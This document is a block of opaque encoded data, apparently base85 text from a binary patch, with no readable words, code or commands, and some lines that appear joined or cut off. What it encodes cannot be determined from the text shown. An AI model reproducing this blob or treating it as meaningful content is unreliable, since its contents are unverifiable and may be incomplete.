zp$|hP-M4-*xb<5lib4HB3lbt`&BGG;8mu-0+>ejj5Bu&V`R-<_&&RHZ{^E+UIl4b& znm+Y+t?<(>m(4B#NBw8T?LB0Ni90U20dAN{0&x-botREef$#2~5z}sum{9y0iAXa$ zf0;upBmc0)=(#R?jP}8Sp}aY+v8;NEh7_w)u|X@X5UV_`l1oG?gZ80F&q>RwqWN02 z?Pj&&mB(5V&(HR*n(?c?mTF^+w$z;Q89DN1UkJVRE= zTE8RWMDub;?+cAh{kYR_9S(Yy&dBBlP0rgPVpS{j*(;e+QrTGT1|)!e~gkx4!!p;TZ#Hh*19I*anwXnf``iUt6%;_dW=P6MD%TfqtxuH zQf)6opCwOc$0*?tK6O45c9Xr@$>{?btI|$o^v5d&S@KCr-@MG&t?r8ZI0Y!s*2{S; zN0`$;HLVjoNfTBl-Q1Il8Zx#pF2o<@D3#bOj8GpHkgaRE99W1!|0>a%p2JGg+`%Ve zwH$7z$kFJ|b&sjtcD#eM0FKxS_NDrz$C)Nko~lg(O~;E}ltdeAWeagu>Hd4fkhK&%=d@N+;;K zk4mPED;40UuNE^lRn5#ZHZvv7R_9jxoCSpVYd`>ibtJ60yw|x$q=?TY48M|30NUfNoyN zYpz~vP1T%*a>_ngdIXn7w{g(JNq5PBmrtF%dP;F{2KM^Zb7ha`PDKxK8-^ZNqY4fh zHChw%9Wh7lW1Ml?wBQA7xc`RZ#TlwBX6~9hdw-%w0O& z=Ijo3OokY7)QmlR&YA+duTB>aB&8f0_u|u0Ld+N5{oJs(MJ4Xo{1v)Mm-No_X|4Qw zWEK_Q(IW&g6v@vlF+XG;W8={o9KRJR$#E1up;#;muYGL`|4~h8Gxf*e?!s=3oyA_Q z)9^)Z{8|#_Vm(UC%jbs_X&ov#-&gw9?N?pMR2&*@xgtl_92M>$a>p-i7QWQqk>;c% ze)V1nW0Guj6@#m1bhh`+mKZZx_`q0I%^jyF1MkREz8XFrSCY9CqS*0?mQ~$qqRjV4 zDxKbWCf=POXLeB%Lq3Z`$J47EW zlo%{I%Of9`=rXk)4|IH&y+Uxuw&C}_t%UIq8xfjz+uy%4UFmwHA~Oqa@Hb=#1@7kG z)3RA{@XPIw$Ny(CWMRzoK@J%Xk&mBSS*VR$*~T6f4*t#xA{-p}@qd;{@-Jm-TA8u@ zmx9Uv?}Bx7KmC`&|HZd2TzdjoeIwjT*ZTje00#~M4hgtgPT5ML`Ys$CE(RPN_rGWT zje=`M>bhpy<~q9S*MFMp{cA27s9*QJ5WJb7r{ya%5Zc+q>~%j`epR@+75qVNc|EB6hL0YXyH{ z5*WO@Cy#ybG~H^c5WQsLbGil9j5|d*XR_B-C;aD6+bCAp4hZt}F3Iq-+cPY&dNq%g zPMvnhbmauaFxXxl`7);3%f8$RgKLV;S$*-WU_Z>WAgJR-phzeht4{zHlB~6#_D5Zl zh)>;TzA1y^8u92M2maWMUz*AGqN9-ZlM#qz4+Fb?o&}Du?ab4YZom5>=2iNz)`;y; zIU0M~3+L4x&mNJv4EPvJvVj7RuFtbmHW~Nv=auib8ewd<%2r%|-4~}7@=0GF+AQ)Ubu3b} z%QDTwV&7kMP4og16`y^=@BQ8-q;~6#LyyRfCr)Pflr8Ag&V9yH)~k-uhx;t1c)vjP z